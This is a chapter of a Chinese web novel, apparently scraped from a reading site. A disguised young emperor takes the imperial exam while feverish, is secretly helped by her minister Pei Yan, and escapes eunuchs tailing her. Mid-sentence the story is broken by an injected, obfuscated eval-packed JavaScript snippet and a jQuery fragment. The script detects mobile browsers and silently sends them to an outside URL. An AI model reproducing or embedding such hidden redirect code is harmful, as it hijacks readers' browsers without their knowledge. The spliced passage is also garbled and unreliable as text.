23. 第二十三章

巡场官浑身一颤,看向李昭宁。


奇怪得很,这位举子身形一点也不高大,但他却仍旧微微地弓起了身子,仰起了头。


他想想自己好歹也是个长吏,怎么能被一白丁小儿驳了去,便怒斥道:“还在这里干什么,回去答题!”


李昭宁轻松一笑:“写完了。”


巡场官吃了个瘪,语气弱了几分:“那就收拾东西滚出去!”


李昭宁无心与他争辩,回去号舍取了包裹,穿过贡院高高的大门走了出去。


白居简立在一片刺目绯红的夕照里,身影漆黑而修长,对裴砚道:


“这位小郎君耿直真诚,是个可造之材,就是不知道文章怎么样。”


裴砚看着那抹消失的身影,轻笑一声,以示回应。


李昭宁来参加科举,无非是想向天下读书人证明她不是个傀儡草包,而是个有真才实学和治国报复的皇帝,以此获得天下读书人的支持。


她比学子们更需要这场考试来证明自己,却仍旧没有吝惜自己的时间,冒着身份被戳穿的危险,也要保全一个看起来毫无希望的人。


所谓政治家风范,是超脱个人的得失去公平地保护和成全每一个人的愿望,无论这个愿望是多么微小。


裴砚心念微动,眼中欣赏如星子闪烁,但并未表露什么,只是默默站着,不发一言。


随着咚咚几声钟响,开始收卷了。


陈崔从午睡中醒来,被人抬到裴砚身边,问:


“人呢?”


裴砚的肩膀沉下去:“跟丢了。”


陈崔也不生气,语气平平:“那便多加点人手,务必在考试结束那刻……抓住她。”


陈崔轻轻把玩左手大拇指上的翠玉戒指,那戒指通体泛着莹莹绿光,在夕阳的暖光下竟然也闪烁着丝丝凉意。


“后日科举结束时,老身便让士子们看看,咱们这位荒唐的陛下……到底做了什么。”


裴砚依旧半垂着眼眸,淡淡道:“是。”


熙熙攘攘的闹市,李昭宁一路往客栈飞奔,到房间后,便拿着往年科举的旧卷集,一边看,一边就着清水,啃着干巴巴的烧饼——


她从宫里带的。


陈崔狡猾,不会在明面上为难她,但平日里吃的用的,皆是最简陋和便宜的,名义上是培养她吃苦耐劳的作风,实际上就只是作为掌权者弄权的手段罢了。


好在李昭宁不太在意这些,当年跟着母亲在冷宫生活,她吃过更苦的苦,所以这也不算什么。


明日要考诗赋和时务,李昭宁正认认真真背诗,突然听到门被笃笃敲响。


她猛地站起来,准备去开门,却感觉脚步虚浮,人如同踩着云一样轻飘飘的。


她摸了摸额头,感受不到温度,但额角的汗已经将头发都浸湿了,燥燥地贴在头皮上,有些刺刺痒痒地难受。


李昭宁这才悠悠地想起来,自己可能发烧了。


她去水盆处拿了帕子把头脸擦干净,猫着腰在门缝处看了两眼,发现是客栈的伙计,才拉开门。


伙计端着一个餐盘,上面是一荤一素两碗菜和一碗饭,满脸讨好的笑意:


“郎君今日考试辛苦了,这是吏部给考生发的饭菜,您慢用。”


饭菜冒着白腾腾的热气,香味直往李昭宁鼻子里钻。她吸吸鼻子,欢喜地接过盘子,道了谢,关上门,扒了几口饭,把煮青菜吃了点,就放在了一边,继续看她的书。


那盘酥油鸡的油水太大,她虽然很馋,但现在自己发着烧,吃了会坏事。


楼下,裴砚坐在吵吵嚷嚷的客栈的角落的桌子上,一边看着伙计忙碌的身影,一边瞟着窗外灰蒙蒙的天色。


红彤彤的夕阳才落了一半就被乌云遮得严实,天色几乎是一瞬间就暗沉了下来。


快要下雨了。


过了一会,伙计上楼来找李昭宁收盘子,看到动也未动的鸡,随口问:“郎君怎么没吃?可是饭菜不合胃口?”


李昭宁脸颊烫烫的,浅浅一笑:“着了风寒,吃不得油大的。”


伙计一笑:“郎君辛苦。那一会小的给您送热水来吧。”


李昭宁点点头,关上了门,暗暗感叹这客栈虽然破旧,但服务还是不错的。


裴砚仍旧坐在一楼的角落里,看着下楼的伙计手里的餐盘,缓缓皱起了眉头。


一滴雨划破暗沉的天色,落在街道上,裹着灰尘蹦跳几下,啪地一声摔成了碎泥。


两颗,十颗,无数雨滴淅淅沥沥落下,润物无声。


伙计端着餐盘走到裴砚桌前,看了看他身后窗外的天色,摇头叹气,喃喃道:


“下雨了?唉……学子们淋了雨,怕是得风寒的会更多咯……”


裴砚眉毛一挑:“风寒?”


伙计收回脑袋,举了举手中的盘子,冲裴砚礼貌一笑:


“是啊,刚才给楼上应考的小郎君送饭,他得了风寒,胃口不佳,这荤菜动也没动,倒是可惜了这吏部为他们准备的好菜了。”


说罢,伙计便转身去了后厨。


裴砚看了看窗外密集的雨雾,站起身,走近细密的雨帘里。


李昭宁听见窗外滴滴答答的水声,支起窗户,才看见外面下雨——


等等。


那不是裴砚吗?


他身上浅紫色的圆领袍已经被雨水浸湿成了深紫色,幞头的束带也湿哒哒地搭在肩头,而他却好似浑然不觉一般,目光淡漠,缓缓地走着。


李昭宁皱了皱眉。


她早闻裴砚淡漠孤傲,但裴砚在她面前一直都是个狡猾的老狐狸做派,所以李昭宁早就将传言远远地抛在了脑后。但今日看他在雨中行走的样子,忽然有些山林隐士的高洁样子了。


只是,这么淋雨,他不冷吗?


春风裹挟着雨水钻进窗子,打湿了窗沿的书,也将李昭宁身上的潮热吹散了几分,她忍不住打了个喷嚏。


阿嚏!


李昭宁赶紧关上窗户。


窗下的裴砚听到一个熟悉的声音,抬头看时,只看到木窗撞在窗沿上,发出沉闷的一声响。


天黑以后,伙计送来了姜汤,李昭宁闭着眼睛喝完,把自己裹在被子里发汗,一边强迫自己睡觉,一边祈祷着明天早上,病能稍微好些。


哪知她刚躺下,就听见一阵轻轻的敲门声,与伙计大力拍门的声音不同,似乎门外的人有意收着手上的力气,不想惊扰到她。


李昭宁没有出声,谨慎地从门缝往外看了看,却发现空无一人。


难道是……有埋伏?


她在黑暗里等了一会,确信门外没有人的呼吸


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15193499|165603||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


声,才敢把门悄悄地拉开一条缝,却发现门外的地上,躺着一把新伞、一个毛毡坐垫、一个小纸包。


李昭宁探出头看了看,客栈的过道寂静,只有楼下微弱的烛光摇曳。


——看来,安全。


她将东西都收进屋里,打开小纸包,发现是几颗圆圆的、黑乎乎的丸子,包丸子的纸上,写了对应的症状和吃的数量——


这是风寒药。


客栈的服务这么周到?


李昭宁不禁心头一暖。


她吃了药,爬上床睡了。


楼下,裴砚仍旧坐在空荡荡的大堂角落里,借着烛火的微光,看到那扇门开了又关了,而他放在门口的东西的影子也消失不见。


裴砚这才放下心,站起来往门外走去,却突然顿住脚步,望着淅淅沥沥的雨雾,怔然不动。


……忘了给自己也买一把伞了。


*


第二天,李昭宁起床后,虽然还有些虚弱,但没有再发烧了。她喜滋滋地给了伙计一些铜板作为赏银,便撑着伞大步往考场走去。


身后的伙计眼中充满了茫然的惊喜,冲着李昭宁大声喊:“小郎君明年再来哦!”


掌柜一个脑瓜崩弹在伙计的后脑勺:“什么明年再来,这不是说他今年中不了举吗?连句吉利话都不会说!”


伙计揉揉后脑,吐了吐舌头,嘿嘿一笑。


答题的时间总是过得很快。李昭宁考完出来,天幕经现出几层深深浅浅的墨色。


她穿过贡院重重的大门,正往闹市走,却发现身后好像有两个鬼鬼祟祟的身影。


李昭宁故意放慢脚步,在一处小摊上驻足片刻,那两人就在街上谈笑风生;她紧赶慢赶穿过街巷,那两人便一言不发地盯着她紧紧地跟着,维持着既不会被她甩掉、也不会轻易被她发现的距离。


李昭宁想了想,钻进一个狭窄的小巷,巷口仅容一人通过,后面则是一个大院,院墙低矮,不易藏人。


她深吸一口气,走进院子,转头一看,两个身影只剩一个了。


李昭宁心头一喜,诱敌深入已经成功,便转过身,看着那个身影缓缓地走上前。


那人穿着麻布粗衣,鞋子却是黑色缎面的,微弱灯影下反射着深深浅浅的团花暗纹。


他缓缓走近,对着李昭宁俯身拱手道:“陛下,节度使请您去……”


声音尖细,带着些许男女不辨的媚态。


李昭宁并不看他,而是看着他的身后,挑眉一笑,似乎看到了什么不得了的人:


“你怎么才来?我都要被抓住了。”


面前的人惊讶地瞪大双眼,望着李昭宁胜券在握笑眯眯的双眼,不可置信地猛转过身去——


身后空空的,一只猫都没有,哪里有什么人?


待他再回头时,李昭宁早已不见踪影。


……


他暗骂一句,冲进大院,却发现院墙皆低矮,屋子也门户洞开、四处漏风,根本藏不住人。


“抓到了?”


另一个麻衣太监一路小跑而至,走到他身前问。


他叹了口气,抿着唇,摇了摇头:


“跟丢了。”


大院矮墙的另一边,李昭宁正蹲在墙角,屏住呼吸,缓缓地挪动脚步,往另一边的街道上走去。